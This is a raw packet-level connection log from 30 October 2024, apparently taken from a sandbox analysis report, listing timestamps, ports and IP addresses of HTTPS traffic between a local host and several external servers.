Oct 30, 2024 04:34:35.438894033 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.440207005 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.440229893 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.440263033 CET	50975	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.440270901 CET	443	50975	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.442186117 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.442210913 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.443725109 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.443732023 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.446290016 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.446329117 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.446392059 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.446638107 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.446655989 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.456253052 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.456870079 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.456887007 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.457678080 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.457681894 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.479330063 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.486314058 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.487003088 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.487025023 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.489703894 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.489712000 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.526030064 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.526595116 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.526657104 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.527435064 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.527765989 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.527909040 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.530354023 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.531349897 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.531392097 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.531450033 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.531478882 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.531871080 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.540364027 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.540381908 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.541445017 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.541456938 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.541470051 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.541583061 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.541595936 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.541676998 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.542146921 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.542179108 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.543087006 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.543374062 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.543574095 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.543632984 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.543798923 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.544744015 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.544831038 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.545022011 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.570349932 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.570458889 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.571124077 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.571160078 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.571160078 CET	50976	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.571187019 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.571197033 CET	443	50976	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.585742950 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.585742950 CET	50977	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.585756063 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.585764885 CET	443	50977	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.587475061 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.587655067 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.587707996 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.587754011 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.591331959 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.591350079 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.605717897 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.605722904 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.608562946 CET	50979	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.608567953 CET	443	50979	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.610028982 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.610069036 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.610232115 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.611996889 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.612041950 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.612165928 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.612168074 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.612179995 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.613672972 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.613691092 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.618257999 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.618407011 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.618608952 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.619055986 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.619071960 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.619132042 CET	50980	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.619143963 CET	443	50980	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.626332998 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.626332998 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.626344919 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.626357079 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.629146099 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.629147053 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.629158974 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.629167080 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.631202936 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.631205082 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.631465912 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.631477118 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.664393902 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:35.664412022 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:35.672600031 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.673681021 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.674576998 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.677448988 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.677540064 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.677581072 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.679620028 CET	50982	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.679634094 CET	443	50982	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.680145979 CET	50983	443	192.168.2.6	162.159.61.3
Oct 30, 2024 04:34:35.680166960 CET	443	50983	162.159.61.3	192.168.2.6
Oct 30, 2024 04:34:35.680284977 CET	50981	443	192.168.2.6	172.64.41.3
Oct 30, 2024 04:34:35.680316925 CET	443	50981	172.64.41.3	192.168.2.6
Oct 30, 2024 04:34:35.683286905 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.683772087 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.683799028 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.687443018 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.689697981 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.689718008 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.696693897 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.701045990 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.701056957 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.705032110 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.705291986 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.705301046 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.800605059 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.800662994 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.804846048 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.804913998 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.804928064 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.805675983 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.805684090 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.813733101 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.813935995 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.822577953 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.822632074 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.823088884 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.823097944 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.823184967 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.831152916 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.918030024 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.918081045 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.921850920 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.921864986 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.922414064 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.928266048 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.928275108 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.931421995 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.931466103 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.931497097 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.931505919 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.934101105 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.939685106 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.948679924 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.948731899 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.948766947 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.948777914 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:35.949184895 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:35.949196100 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.033023119 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.035475969 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.039755106 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.039794922 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.039807081 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.050015926 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.050065041 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.050077915 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.057360888 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.057396889 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.057436943 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.057447910 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.057483912 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.066119909 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.106406927 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.106503963 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.106517076 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.156323910 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.156400919 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.156414032 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.158262014 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.158385038 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.158396006 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.168375015 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.168447971 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.168459892 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.174571991 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:36.174741030 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.174787045 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.174794912 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.174917936 CET	443	50958	18.244.18.32	192.168.2.6
Oct 30, 2024 04:34:36.174969912 CET	50958	443	192.168.2.6	18.244.18.32
Oct 30, 2024 04:34:36.179223061 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.179733038 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.179769993 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.180185080 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.180197001 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.186459064 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.186490059 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.186528921 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.186537981 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.186606884 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.186613083 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.270172119 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.270232916 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.270246029 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.274549007 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.274593115 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.274605989 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.284811974 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.284868956 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.284912109 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.284924030 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.284980059 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.291944027 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.301187038 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.301295996 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.301307917 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.301373005 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.301424026 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.301433086 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.318979979 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.319520950 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.319572926 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.320046902 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.320070028 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.320084095 CET	50988	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.320091009 CET	443	50988	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.325182915 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.325208902 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.325265884 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.326031923 CET	50993	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.326045990 CET	443	50993	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.339359045 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.339976072 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.340013027 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.341299057 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.341311932 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.361445904 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.361968994 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.362047911 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.362396955 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.362412930 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.387612104 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.387705088 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.387720108 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.392154932 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.392196894 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.392242908 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.392256975 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.392338037 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.397492886 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.397934914 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.397943974 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.398552895 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.398556948 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.402517080 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.402596951 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.402693033 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.402704954 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.407568932 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.408677101 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.408688068 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.409248114 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.409260988 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.418791056 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.418834925 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.418842077 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.418854952 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.418912888 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.418946981 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.419275045 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.419336081 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.419342995 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.468147993 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.468209028 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.468272924 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.468317032 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.468353033 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.468404055 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.468521118 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.468521118 CET	50990	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.468556881 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.468580008 CET	443	50990	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.472419977 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.472439051 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.472558022 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.472661972 CET	50994	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.472672939 CET	443	50994	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.494688034 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.494779110 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.494832039 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.494955063 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.494971991 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.494986057 CET	50989	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.494992018 CET	443	50989	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.499619007 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.499819994 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.499846935 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.499902964 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.500273943 CET	50995	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.500288963 CET	443	50995	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.502360106 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.510061979 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.510159969 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.510173082 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.519793987 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.519836903 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.519844055 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.519856930 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.519923925 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.519932032 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.533802032 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.533955097 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.534012079 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.534142971 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.534147024 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.534156084 CET	50992	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.534159899 CET	443	50992	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.536336899 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536366940 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536403894 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.536418915 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536429882 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.536468983 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.536477089 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536617994 CET	443	50991	13.107.246.45	192.168.2.6
Oct 30, 2024 04:34:36.536680937 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.536721945 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536762953 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536763906 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.536777973 CET	443	50974	142.250.74.193	192.168.2.6
Oct 30, 2024 04:34:36.536813974 CET	50974	443	192.168.2.6	142.250.74.193
Oct 30, 2024 04:34:36.537827015 CET	50991	443	192.168.2.6	13.107.246.45
Oct 30, 2024 04:34:36.537857056 CET	443	50991	13.107.246.45	192.168.2.6
